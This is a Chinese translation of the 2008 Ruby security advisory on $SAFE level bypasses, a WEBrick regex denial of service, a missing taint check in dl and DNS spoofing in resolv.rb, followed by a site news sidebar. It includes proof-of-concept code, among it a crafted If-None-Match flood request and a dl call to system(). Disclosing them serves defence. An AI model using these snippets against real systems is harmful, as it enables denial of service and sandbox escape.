Ruby 中的多项漏洞

Shugo Maeda 于 2008 年 8 月 8 日发布

Ruby 中已发现多项漏洞。建议您升级到最新版本。

详情

已发现以下漏洞。

安全级别中的多个漏洞

已在安全级别中发现多个漏洞。

  • 在安全级别 4 时允许 untrace_var。

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • $PROGRAM_NAME 在安全级别 4 时可能会被修改。

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • 在安全级别 1-3 时可能会调用不安全的方法。

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # return wrong size
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # or 2, or 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # print string which size is less than 20
    end
    
  • 在安全级别 4 时允许 Syslog 操作。

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

这些漏洞由 Keita Yamaguchi 报告。

WEBrick 中的拒绝服务漏洞

WEBrick::HTTP::DefaultFileHandler 由于 WEBrick::HTTPUtils.split_header_value 中的回溯正则表达式,在处理请求时存在指数级时间开销的缺陷。

可被利用的服务器

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

攻击

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

此请求可能在本宇宙中无法完成。

此漏洞由 Christian Neukirchen 报告。

dl 中缺乏污点检查

dl 未检查污点,因此可能允许攻击者调用危险函数。

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

此漏洞由 sheepman 报告。

resolv.rb 中的 DNS 欺骗漏洞

resolv.rb 允许远程攻击者伪造 DNS 答复。此风险可以通过 DNS 事务 ID 和源端口的随机性来降低,因此 resolv.rb 已被修复以随机化它们。

此漏洞由 Tanaka Akira 报告。

受影响的版本

1.8 系列
  • 1.8.5 及所有 prior 版本
  • 1.8.6-p286 及所有 prior 版本
  • 1.8.7-p71 及所有 prior 版本
1.9 系列
  • r18423 及所有 prior revision

解决方案

1.8 系列
请升级到 1.8.6-p287 或 1.8.7-p72。
1.9 系列

请使用 Subversion 获取最新版本。

$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby

请注意,您的包管理软件可能已经提供了纠正此弱点的软件包。

致谢

感谢 Keita Yamaguchi、Christian Neukirchen、sheepman 和 Tanaka Akira 将这些问题披露给 Ruby 安全团队。

变更

近期新闻

Ruby 4.0.0 发布

我们很高兴地宣布 Ruby 4.0.0 的发布。Ruby 4.0 引入了“Ruby Box”和“ZJIT”,并增加了许多改进。

naruse 发布于 2025 年 12 月 25 日

Ruby 文档的全新外观

继 ruby-lang.org 重新设计之后,我们还有更多好消息来庆祝 Ruby 成立 30 周年:docs.ruby-lang.org 采用了 Aliki——RDoc 的新默认主题,焕然一新。

Stan Lo 发布于 2025 年 12 月 23 日

重新设计我们的网站标识

我们很高兴地宣布对我们的网站进行全面重新设计。此次更新的设计由 Akatsuka Taeko 创作。

Hiroshi SHIBATA 发布于 2025 年 12 月 22 日

Ruby 4.0.0 preview3 发布

我们很高兴地宣布 Ruby 4.0.0-preview3 的发布。Ruby 4.0 引入了 Ruby::Box 和“ZJIT”,并增加了许多改进。

naruse 发布于 2025 年 12 月 18 日

更多新闻...